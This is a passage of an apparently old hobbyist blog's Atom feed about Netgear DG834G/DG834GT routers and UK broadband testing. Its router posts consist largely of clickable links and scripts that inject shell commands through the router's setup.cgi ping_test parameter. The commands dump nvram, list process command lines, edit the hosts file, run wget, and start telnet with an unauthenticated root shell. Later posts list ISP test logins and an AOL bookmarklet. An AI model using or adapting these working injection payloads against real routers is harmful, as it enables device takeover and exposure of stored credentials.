&lt;a href="http://192.168.0.1/setup.cgi?todo=ping_test&amp;amp;next_file=diagping.htm&amp;amp;c4_IPAddr=1;/usr/sbin/rc+wan+stop;/usr/sbin/pppd+plugin+pppoa+0.38+user+speedtest@speedtest_domain+password+ignored+nodetach+defaultroute+vc-encaps+usepeerdns+maxfail+0+qos+UBR+lcp-echo-failure+3+lcp-echo-interval+10%3E/dev/null+2%3E/dev/null+%26" rel="nofollow" target="_blank"&gt;connect to speedtest@speedtest_domain&lt;/a&gt;- to reconnect to you ISP disconnect and reconnect using the &lt;a href="http://192.168.0.1/setup.cgi?next_file=st_poe.htm" rel="nofollow" target="_blank"&gt;router interface.&lt;/a&gt;  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://192.168.0.1/setup.cgi?todo=ping_test&amp;amp;next_file=diagping.htm&amp;amp;c4_IPAddr=1;PATH=$PATH:/bin:/usr/sbin;(ps;echo+%22%3C/textarea%3E%3Cbr%3e%3ctextarea+rows=40%20cols=140%20wrap=off%3E%22;cd+/proc;for+i+in+%60ls+[0-9]*+-d1%60;do+echo+$i+%60/bin/grep+-v+%5C%3e+$i/cmdline%60;done;echo+%22%3C/textarea%3E%3Cscript%3Evar+a=document.getElementsByName(%5C%22ping_result%5C%22);a[0].rows=10;a[0].cols=140;%3C/script%3E%22)%3E%261" rel="nofollow" target="_blank"&gt;Show Command lines&lt;/a&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://192.168.0.1/setup.cgi?todo=ping_test&amp;amp;next_file=diagping.htm&amp;amp;c4_IPAddr=1;(/bin/grep+.+/tmp/nvram;/bin/echo+%22%3C/textarea%3E%3Cscript%3Evar+a=document.getElementsByName(%5C%22ping_result%5C%22);a[0].rows=40;a[0].cols=150;%3C/script%3E%22)%3E%261" rel="nofollow" target="_blank"&gt;Show nvram&lt;/a&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This is not particularily useful unless your connection is 100% stable as the Netgear's host file will be reset every time the PPP connection is re-established after a drop.   &lt;br /&gt;
&lt;br /&gt;
Enter IP address &amp;lt;space&amp;gt; hostname (eg. 192.168.0.10 mel.lan)&lt;br /&gt;
&lt;br /&gt;
&lt;textarea cols="29" id="dns834" language="javascript" name="dns834N" onchange="var s = 'http://192.168.0.1/setup.cgi?todo=ping_test&amp;amp;next_file=diagping.htm&amp;amp;c4_IPAddr=1;PATH=$PATH:/bin:/usr/sbin;cp+/proc/`cat+/var/run/dnrd.pid`/cmdline+/tmp/me;rc+dnrd+stop;echo+-e+%22$DNRD%22%3E%3E/etc/hosts;`grep+.+/tmp/me`%3E%261+2%3E%261';var a=document.getElementById('dns834').value.replace(/\r?\n/igm,'\\n').replace(/ /gm,'+');document.getElementById('dns834link').href = s.replace(/\$DNRD/,a);" rows="9" style="height: 187px; width: 278px;"&gt;192.168.0.&lt;/textarea&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://www.blogger.com/post-edit.g?blogID=5979318544872859116&amp;amp;postID=2374882090330746895" id="dns834link" rel="nofollow" target="_blank"&gt;Add Entries to DNS Server&lt;/a&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://192.168.0.1/setup.cgi?todo=ping_test&amp;amp;next_file=diagping.htm&amp;amp;c4_IPAddr=1;PATH=$PATH:/bin:/usr/sbin;rc+dnrd+restart+%3e%261+2%3e%261;" rel="nofollow" target="_blank"&gt;Reset DNS Server&lt;/a&gt;  &lt;span id="what"&gt;&lt;/span&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;input onclick="add2urlG();" type="button" value="." /&gt;  &lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;script&gt;
function add2urlG(){ var l=location.pathname + '?host='+ document.getElementById('dns834').value.replace(/\r?\n/igm,'/n').replace(/ /gm,'+')+ '&amp;url=' +document.getElementById('ipadG').value;  location.href=l; }   function url2htmlG(){  var aa=location.search.match(/url=(.*?)(?=%26|&amp;|$)/im); if (aa!=null &amp;&amp; aa[1]!=null) { var ip=aa[1];  var r = new RegExp('://[1]92.168.0.1/','gm'); document.getElementById('dg834').innerHTML=document.getElementById('dg834').innerHTML.replace(r,'://'+ip+'/'); document.getElementById('ipadG').value=ip; }    var aa=location.search.match(/host=(.*?)(?=%26|&amp;|$)/im);if (aa!=null &amp;&amp; aa[1]!=null) {var xx=aa[1];   document.getElementById('dns834').value=xx.replace(/\/n/igm,'\n').replace(/\+|%20/igm,' ')   }; } var o=window.onload;   window.onload= function(){url2htmlG();o?o():o;} 
&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979318544872859116-2374882090330746895?l=pathogenrush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pathogenrush.blogspot.com/feeds/2374882090330746895/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5979318544872859116&amp;postID=2374882090330746895' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979318544872859116/posts/default/2374882090330746895'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979318544872859116/posts/default/2374882090330746895'/><link rel='alternate' type='text/html' href='http://pathogenrush.blogspot.com/2008/01/netgear-dg834g_11.html' title='Netgear DG834G'/><author><name>Mel</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979318544872859116.post-566885691946403297</id><published>2007-11-28T10:22:00.002Z</published><updated>2011-10-15T19:05:10.183Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='dg834gt'/><title type='text'>dg834gt</title><content type='html'>&lt;table border="0" cellpadding="1" cellspacing="0" style="border-color: white; border-width: 1; border: solid;"&gt;&lt;tbody&gt;
&lt;tr style="height: 117.35pt;"&gt;   &lt;td style="background-color: white; border: none; height: 117.35pt; padding: 0px 5pt 0pt 5pt; width: 150pt;" valign="top"&gt;&lt;a href="http://192.168.0.1/setup.cgi?PATH=/bin:/sbin:/usr/bin:/usr/sbin;ifconfig;adslctl+info+--SNR;adslctl+info+--Hlog;echo+%5C042%5C074/textarea%5C076%5C074br%5C076%5C074textarea+rows=120+cols=140%5C076%5C042;ifconfig+ppp0;echo+Uptime+$(cat+/proc/uptime);echo+Wan+up+$(cat+/tmp/wan_uptime);adslctl+info+--stats;rm+$0;&amp;amp;todo=ping_test&amp;amp;next_file=diagping.htm&amp;amp;c4_IPAddr=1;(IFS=%2b;/bin/echo%3E/tmp/mel+${QUERY_STRING%25%25%26to*};/bin/sh+/tmp/mel)+%3E%261+2%3E%261;" id="stats" rel="nofollow" target="_blank"&gt;DG834GT Stats&lt;/a&gt;     &lt;/td&gt;   &lt;td style="background-color: white; border-color: white; border-left: solid; border-width: 1; border: none; font-size: 10pt; height: 117.35pt; padding: 0pt 5pt 0pt 5pt; width: 20pt;"&gt;SF:&lt;br /&gt;
CRC:&lt;br /&gt;
ES:&lt;br /&gt;
SES:&lt;br /&gt;
RS:&lt;br /&gt;
LOF:&lt;br /&gt;
D:&lt;br /&gt;
HEC:&lt;br /&gt;
LOS:&lt;br /&gt;
UAS:&lt;/td&gt;   &lt;td style="background-color: white; border-color: white; border-left: solid; border-width: 1; border: none; font-size: 10pt; height: 117.35pt; padding: 0pt 5pt 0pt 5pt; width: 350pt;"&gt;Super Frames&lt;br /&gt;
Cyclic Redundancy Check&lt;br /&gt;
Errored Seconds (Seconds with 1 or more CRC errors)&lt;br /&gt;
Severely Errored Seconds &lt;br /&gt;
Reed Solomon Forward Error Correction&lt;br /&gt;
Loss Of Framing&lt;br /&gt;
Interleave depth&lt;br /&gt;
ATM Header Error Control&lt;br /&gt;
Loss Of Signal&lt;br /&gt;
Unavailable Seconds (No Signal)&lt;/td&gt;  &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;
&lt;hr /&gt;&lt;hr /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div id="dg834gt"&gt;&lt;br /&gt;
&lt;input id="ipad" size="15" type="text" value="192.168.0.1" /&gt;&lt;input onclick="add2url();" type="button" value="change ip" /&gt;   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://192.168.0.1/setup.cgi?todo=ping_test&amp;amp;next_file=start.htm&amp;amp;c4_IPAddr=1;PATH=/bin:/sbin:/usr/bin:/usr/sbin;unset+QUERY_STRING;sh+-c+%22utelnetd+-d+-l+/bin/sh+%3e/dev/null+2%3e/dev/null+%22%26" rel="nofollow" target="_blank" target="_blank"&gt;Enable telnet&lt;/a&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;a href="telnet://192.168.0.1/" rel="nofollow"&gt;launch telnet&lt;/a&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; to disable type "killall utelnetd" in the console.     &lt;br /&gt;
&lt;br /&gt;
&lt;hr /&gt;Override Target Noise Margin &lt;input id="gtsnr" onchange=";document.getElementById('gtsnrb').disabled=isNaN(this.value);" size="3" type="text" value="100" /&gt;% &lt;input id="gtsnrb" onclick="window.open('http://192.168.0.1/setup.cgi?todo=ping_test&amp;amp;next_file=diagping.htm&amp;amp;c4_IPAddr=1;/usr/sbin/adslctl+configure+--snr+XXX%3e%261+2%3e%261'.replace(/XXX/gm,document.getElementById('gtsnr').value));add2url();" type="button" value="adjust Margin &amp;amp; ReSync" /&gt; &lt;span style="font-size: xx-small;"&gt;&amp;nbsp;86%= 6dB 100%=7dB(default) 114%= 8db...&lt;/span&gt;       &lt;br /&gt;
&lt;hr /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h2&gt;Add entries to router's hosts file&lt;/h2&gt;&lt;br /&gt;
This is not particularily useful unless your connection is 100% stable as the Netgear's host file will be reset every time the PPP connection is re-established after a drop.   &lt;br /&gt;
&lt;br /&gt;
Enter IP address &amp;lt;space&amp;gt; hostname (eg. 192.168.0.10 mel.lan)&lt;br /&gt;
&lt;br /&gt;
&lt;textarea cols="29" id="dnsgtG" language="javascript" name="dnsgtGN" onchange="var s = 'http://192.168.0.1/setup.cgi?todo=ping_test&amp;amp;next_file=diagping.htm&amp;amp;c4_IPAddr=1;PATH=/bin:/usr/sbin;cp+/proc/`cat+/var/run/dnrd.pid`/cmdline+/tmp/me;rc+dnrd+stop;echo+%22$DNRD%22%3E%3E/etc/hosts;`grep+.+/tmp/me`&amp;gt;%261';var a=document.getElementById('dnsgtG').value.replace(/\r?\n/igm,'\\n').replace(/ /gm,'+');document.getElementById('dnsgtGlink').href = s.replace(/\$DNRD/,a);" rows="9" style="height: 187px; width: 278px;"&gt;192.168.0.&lt;/textarea&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://www.blogger.com/post-edit.g?blogID=5979318544872859116&amp;amp;postID=566885691946403297" id="dnsgtGlink" rel="nofollow" target="_blank"&gt;Add above to DNS Server&lt;/a&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://192.168.0.1/setup.cgi?todo=ping_test&amp;amp;next_file=diagping.htm&amp;amp;c4_IPAddr=1;PATH=$PATH:/bin:/usr/sbin;rc+dnrd+restart+%3e%261+2%3e%261;" rel="nofollow" target="_blank"&gt;Reset DNS Server&lt;/a&gt; &lt;span id="what"&gt;&lt;/span&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Router based "speed test"&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
If you think poor speeds are caused by your PC or wireless link - This will download a file to the router and time the download (if this test fails to work choose a download file with a shorter URL)  Results are only a very rough estimate.  &lt;br /&gt;
&lt;br /&gt;
Input the URL of a file to download and its filesize (url must be quite short).&lt;br /&gt;
&lt;br /&gt;
Please be patient, the page will only open once the file download has completed. &lt;br /&gt;
&lt;br /&gt;
Download url &lt;input id="stfile" size="60" type="text" val2="largedownload.me 15672228" value="http://static.btopenworld.com/broadband/adhoc_pages/speedtest/files/smalldownload.me" /&gt; Filesize=&lt;input id="stfilesize" type="text" value="5716212" /&gt;&lt;select id="bkmg"&gt;&lt;option value="128"&gt;Bytes&lt;/option&gt;&lt;option value="0.125"&gt;Kilobytes&lt;/option&gt;&lt;option value="0.0001220703"&gt;Megabytes&lt;/option&gt;&lt;/select&gt;   &lt;input onclick="testurl='http://192.168.0.1/setup.cgi?PATH=/bin:/sbin:/usr/bin:/usr/sbin;(S=$(cat+/proc/uptime);wget+%FILE%+-O+/dev/null;E=$(cat+/proc/uptime);echo+$((%SIZE%/$((${E%%.*}-${S%%.*}))))+Kbps);rm+$0;&amp;amp;todo=ping_test&amp;amp;next_file=diagping.htm&amp;amp;c4_IPAddr=1;(IFS=%2b;/bin/echo%3E/tmp/mel+${QUERY_STRING%25%25%26t*};/bin/sh+/tmp/mel)%3e%261'.replace(/%FILE%/,document.getElementById('stfile').value).replace(/%SIZE%/,Math.round(document.getElementById('stfilesize').value/document.getElementById('bkmg').options[bkmg.selectedIndex].value));window.open(testurl);" type="button" value="test" /&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Alternative test: Downloads and displays the start and end times so that you can calculate the speed more accurately&lt;br /&gt;
&lt;br /&gt;
Download url &lt;input id="stfile2" size="60" type="text" value="http://static.btopenworld.com/broadband/adhoc_pages/speedtest/files/smalldownload.me" /&gt;    &lt;input onclick="var testurl='http://192.168.0.1/setup.cgi?PATH=/bin:/sbin:/usr/bin:/usr/sbin;(S=$(cat+/proc/uptime);wget+%FILE%+-O+/dev/null;E=$(cat+/proc/uptime);echo+end=${E%%+*};echo+start=${S%%+*});rm+$0&amp;amp;todo=ping_test&amp;amp;next_file=diagping.htm&amp;amp;c4_IPAddr=1;(IFS=%2b;/bin/echo%3E/tmp/mel+${QUERY_STRING%25%25%26t*};/bin/sh+/tmp/mel)%3e%261'.replace(/%FILE%/,document.getElementById('stfile2').value);window.open(testurl);" type="button" value="test" /&gt;  {44668/(end-start) Kbps}&lt;br /&gt;
&lt;br /&gt;
&lt;input onclick="add2url();" type="button" value="-" /&gt;   &lt;/div&gt;&lt;br /&gt;
&lt;script&gt;
function add2url(){ var l=location.pathname + '?host='+ document.getElementById('dnsgtG').value.replace(/\r?\n/igm,'/n').replace(/ /gm,'+')+ '&amp;snr=' + document.getElementById('gtsnr').value+ '&amp;url=' +document.getElementById('ipad').value;   location.href=l; }   function url2html(){   var a=location.search.match(/url=(.*?)(?=%26|&amp;|$)/im);if (a!=null &amp;&amp; a[1]!=null) {var ip=a[1];  var r = new RegExp('://[1]92.168.0.1/','gm'); document.getElementById('dg834gt').innerHTML=document.getElementById('dg834gt').innerHTML.replace(r,'://'+ip+'/'); document.getElementById('ipad').value=ip; }    var a=location.search.match(/host=(.*?)(?=%26|&amp;|$)/im);if (a!=null &amp;&amp; a[1]!=null) {var x=a[1];   document.getElementById('dnsgtG').value=x.replace(/\/n/igm,'\n').replace(/\+|%20/igm,' ')   };    var a=location.search.match(/SNR=(.*?)(?=%26|&amp;|$)/im);if (a!=null &amp;&amp; a[1]!=null) {var x=a[1];   document.getElementById('gtsnr').value=x.replace(/\/n/igm,'\n').replace(/\+|%20/igm,' ')   }; } window.onload= url2html; 
&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979318544872859116-566885691946403297?l=pathogenrush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pathogenrush.blogspot.com/feeds/566885691946403297/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5979318544872859116&amp;postID=566885691946403297' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979318544872859116/posts/default/566885691946403297'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979318544872859116/posts/default/566885691946403297'/><link rel='alternate' type='text/html' href='http://pathogenrush.blogspot.com/2007/11/dg834gt.html' title='dg834gt'/><author><name>Mel</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979318544872859116.post-5948777361883024339</id><published>2007-04-04T19:26:00.002Z</published><updated>2011-10-15T19:26:41.351Z</updated><title type='text'>Slow Speeds? - BT Performance tester</title><content type='html'>BT's performance tester can be found here &lt;a href="http://speedtester.bt.com/"&gt;http://speedtester.bt.com/&lt;/a&gt; . Note that it will only work on BT IPstream based connections.  &lt;br /&gt;
&lt;br /&gt;
If your throughput is below 400 kbps, you will be directed to perform a second test, which requires temorarily changing the ADSL username in your modem/router to bt_test_user@&lt;i&gt;yourISP&lt;/i&gt;. Where "&lt;i&gt;yourISP&lt;/i&gt;" is the normal bit after the '@' in your normal adsl login. &lt;br /&gt;
&lt;br /&gt;
If this test also produces a very poor result you will be asked to reconnect after changing you username on the modem/router to speedtest@speedtest_domain and run test 3.  &lt;br /&gt;
&lt;br /&gt;
Test 3 connects you to BT's network bypassing your ISP, so a poor result here indicates that the problem is not caused by the ISP. It may be a line fault, your own equipment or household telephone wiring or a BT issue such as exchange congestion.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
A guide to using the BT performance tester is available from here:- &lt;a href="https://www.btwholesale.com/pages/downloads/Community/Broadband_Community/PT_Customer_handbook_v6.pdf"&gt;BT Performance tester End User Handbook&lt;/a&gt;.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If your speeds are poor, but not bad enough to reach test 3 in the normal BT performance tester, it is possible to run the old BT speedtester while connected using the BT login.  &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;The following trick stopped working when BT discontinued the old fixed rate products, replacing them with capped rate adaptive ones.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
This test is only intended for fixed rate connections up to 2mbps, so the results are not as accurate as the proper BT performance test 3.&lt;br /&gt;
However it can be a useful test if your ISP blames your equipment or BT for your speed issues and you suspect this is not the case, but can't get as far as test 3 in the performance tester.  &lt;br /&gt;
&lt;br /&gt;
Username: speedtest@speedtest_domain&lt;br /&gt;
Password: anything&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And open the following link in your browser &lt;br /&gt;
&lt;br /&gt;
&lt;a rel="nofollow" href="http://217.35.209.142:50302/cgi-bin/home.page.pl"&gt;http://217.35.209.142:50302/cgi-bin/home.page.pl&lt;/a&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you also have poor ping times on your normal connection and want a rough idea of latency to the BT RAS you connect through run a tracert as below. &lt;br /&gt;
&lt;br /&gt;
tracert -h 3 217.35.209.142&lt;br /&gt;
and you'll see something like  &lt;br /&gt;
&lt;br /&gt;
1 &amp;lt;10 ms &amp;lt;10 ms 1 ms www.routerlogin.com [192.168.0.1]&lt;br /&gt;
2 11 ms 11 ms 12 ms esr4.ilford5.broadband.bt.net [217.47.23.143]&lt;br /&gt;
3 * * * Request timed out.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Note only the RAS also known as ESR (Edge Service router) will respond.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979318544872859116-5948777361883024339?l=pathogenrush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pathogenrush.blogspot.com/feeds/5948777361883024339/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5979318544872859116&amp;postID=5948777361883024339' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979318544872859116/posts/default/5948777361883024339'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979318544872859116/posts/default/5948777361883024339'/><link rel='alternate' type='text/html' href='http://pathogenrush.blogspot.com/2007/03/poor-speeds.html' title='Slow Speeds? - BT Performance tester'/><author><name>Mel</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979318544872859116.post-2038349150560465973</id><published>2007-03-02T01:06:00.001Z</published><updated>2011-10-15T19:42:40.912Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='AOL'/><title type='text'>AOL UK</title><content type='html'>&lt;b&gt;Useful Links&lt;/b&gt;&lt;br /&gt;
&lt;a href="https://names.aol.co.uk/names.adp" target="_blank"&gt;Manage Screen Names&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://parentalcontrols.aol.co.uk/parconweb2/home/viewMain.do" target="_blank"&gt;Parental Controls&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://www.aolsurvey.co.uk/friends/choose.asp" target="_blank"&gt;Refer a Friend&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://help.aol.co.uk/conditions-of-service/article/20060802090809990001" target="_blank"&gt;Conditions of Service&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://help.aol.co.uk/help_uk/documentLink.do?cmd=displayKC&amp;amp;docType=kc&amp;amp;externalId=uk_814246984" target="_blank"&gt;AOL Complaints Policy&lt;/a&gt;&lt;br /&gt;
&lt;a href="http://bbterms.aol.co.uk/bb_tc/aol_broadband_dsl/default/aol_bb_dsl_feb05.htm" target="_blank"&gt;Broadband/Router agreement&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Alternative Aol Member Service phone numbers&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
(Bristol)&amp;nbsp;&amp;nbsp;&amp;nbsp; 0117 919 1100&lt;br /&gt;
(Freephone) 0800 279 6771&lt;br /&gt;
&lt;b&gt;AOL Proxy settings&lt;/b&gt; &lt;br /&gt;
Some UK sites block access to non UK IP addresses, if you are allocated a US IP address you can get around this by configuring your browser with the following proxy settings.&lt;br /&gt;
&lt;br /&gt;
For http: uk.proxy.aol.com port 80&lt;br /&gt;
For https: (ssl) uk.proxy.aol.com port 443&lt;br /&gt;
&lt;br /&gt;
Set local addresses to bypass the proxy and add 192.168.* to the list of exceptions otherwise you won't be able to access your router's web interface while using the proxy.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;PriceIndex&lt;/b&gt;&lt;br /&gt;
You can find out your AOL PriceIndex which was once rumoured to determine whether you connection is throttled, by temporarily configuring your browser to use AOL's proxy uk.proxy.aol.com port 80, then following the instructions below.&lt;br /&gt;
&lt;br /&gt;
Copy the script below, or if you prefer add this javascript &lt;a href="javascript:(function(){alert('PriceIndex='+document.getElementById('PriceIndex').value)})();" rel="nofollow"&gt;AOL PriceIndex&lt;/a&gt; to your favourites. Because it contains a javascript, your browser may warn you that the link may not be safe, click yes to ignore that or use the copy and paste method instead.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
javascript:(function(){alert('PriceIndex='+document.getElementById('PriceIndex').value)})();&lt;br /&gt;
&lt;br /&gt;
Navigate to http://help.aol.co.uk/live-help/article/20060814072509990002, log-in using your master screen name and select "Broadband" and click continue. Instead of submitting a question, paste the script above in the address bar and hit return, or if you added it to favourites, just click on the bookmark.&lt;br /&gt;
&lt;br /&gt;
An alertbox will pop up and display the priceindex eg:- 3436/silver.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Router settings&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
AOL recommend: PPPoE LLC, with MTU=1450&lt;br /&gt;
&lt;br /&gt;
However, I prefer to use PPPoA VC-Mux, with MTU=1430 &lt;span style="font-size: 70%;"&gt;(MSS=1390 if router has MSS setting)&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
VPI:0&lt;br /&gt;
VCI: 38&lt;br /&gt;
&lt;br /&gt;
Username: &lt;i&gt;screenname&lt;/i&gt;@aol.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;screenname&lt;/i&gt; should be a General (18+) aol screen name in lower case with any spaces omitted. &lt;br /&gt;
The password must not be longer than 8 characters and consist of letters and numerals only. &lt;br /&gt;
&lt;br /&gt;
Alternate Username: aolnet/aol.dsl.&lt;i&gt;screenname&lt;/i&gt;.10460001001000030001GB6183.0000.prod &lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: 85%;"&gt; This alternate username only works with PPPoE LLC - it is used by AOL software with modems and if used in a router you will have to run AOL's software &amp;amp; log-in to access the internet.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
AOL Test login Username: ISUR_AOLDSL@americaonline.aol.com Password: roughalien&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979318544872859116-2038349150560465973?l=pathogenrush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pathogenrush.blogspot.com/feeds/2038349150560465973/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5979318544872859116&amp;postID=2038349150560465973' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979318544872859116/posts/default/2038349150560465973'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979318544872859116/posts/default/2038349150560465973'/><link rel='alternate' type='text/html' href='http://pathogenrush.blogspot.com/2007/03/useful-links-manage-screen-names-live.html' title='AOL UK'/><author><name>Mel</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979318544872859116.post-7673748925355875312</id><published>2006-02-02T00:21:00.001Z</published><updated>2011-10-15T19:46:13.859Z</updated><title type='text'>Tiscali DataStream        test log-in</title><content type='html'>Tiscali Wholesale provide the following test login for their datastream based services &lt;span style="font-size:85%;"&gt;(BT test log-ins, including whatever@speedtest_domain only work on IPstream) &lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
username: testing@dslconnect.co.uk&lt;br /&gt;
password: testing&lt;br /&gt;
&lt;br /&gt;
The test log-in will connect you to Tiscali's network, rather than routing your connection on to your ISP.&lt;br /&gt;
Access is restricted to the following pages:-&lt;br /&gt;
&lt;br /&gt;
http://speedcheck.ispconnect.co.uk Open this page to run a speed test. &lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://www.dslconnect.co.uk/"&gt;http://www.dslconnect.co.uk/&lt;/a&gt; this displays a test page (often doesn't open)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979318544872859116-7673748925355875312?l=pathogenrush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979318544872859116/posts/default/7673748925355875312'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979318544872859116/posts/default/7673748925355875312'/><link rel='alternate' type='text/html' href='http://pathogenrush.blogspot.com/2007/03/tiscali-datastream-test-log-in.html' title='Tiscali DataStream        test log-in'/><author><name>Mel</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry></feed>
